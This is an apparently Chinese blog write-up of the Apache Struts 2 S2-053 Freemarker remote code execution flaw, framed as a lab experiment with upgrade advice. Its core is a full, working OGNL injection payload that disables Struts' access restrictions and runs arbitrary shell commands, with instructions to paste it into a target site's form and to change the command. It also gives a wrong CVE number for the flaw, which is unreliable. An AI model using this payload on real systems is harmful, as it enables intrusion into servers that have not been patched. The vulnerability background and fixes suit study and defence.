Struts

Struts是Apache基金会的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。

目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。

漏洞介绍

继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。

当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。

影响范围

Struts 2.0.1 – Struts 2.3.33、Struts 2.5 – Struts 2.5.10

不受影响的版本

Struts 2.5.12、Struts 2.3.34

漏洞分析

当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行

<@s.hidden name="redirectUri" value=redirectUri />

<@s.hidden name="redirectUri" value="${redirectUri}" />

这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。

修复方案

1、升级到Apache Struts版本2.5.12或2.3.34

2、使用只读属性来初始化value属性(仅限getter属性)

3、Freemarker标签内容不要通过Request方式获取

需要执行的恶意代码pyload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?

(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=

(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?

{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).

(#p.redirectErrorStream(true)).(#process=#p.start()).

(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

复制上述代码,然后将代码粘贴到目标网站主页的输入框中,然后点击提交按钮。

特别注意,分析上述代码,可以发现其中我们要执行的任意代码位于以下两处。

(#cmd=’ipconfig’)

{‘cmd.exe’,’/c’,#cmd=’ipconfig’}

因此,如果我们要执行其他命令的话,一定要将这两处同时替换,否则命令将执行失败。

执行了命令ipconfig,点击提交按钮之后,可以在该页面看到网页返回结果如下:

实验结果分析与总结

具体分析一下,struts2的invocation会在跑遍一圈interceptor之后,进行execute result ,而项目中配置的result的type是freemarker,因此会这个流程会交到freemarkerresult手里,它会把对应的ftl模板拿出来处理 这里会进行第一次解析。

标签value属性的值将会变成我们传入的%{100-3},当然其中还有ognl进行get value的过程,之后标签处理结束前会回调给uibean,它end的时候肯定需要计算一下参数值,才能得到真正输出到浏览器上的值,这就会产生第二次解析 。

通过本次实验,我们利用payload很容易达到了对目标网站的任意代码执行,利用起来门槛低,危害大。不要以上述的方式进行代码书写,官方已经发布补丁,请升级到最新版本2.5.12或2.3.34。

[toc]

2018-06-07 00:11:06 星期四

打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注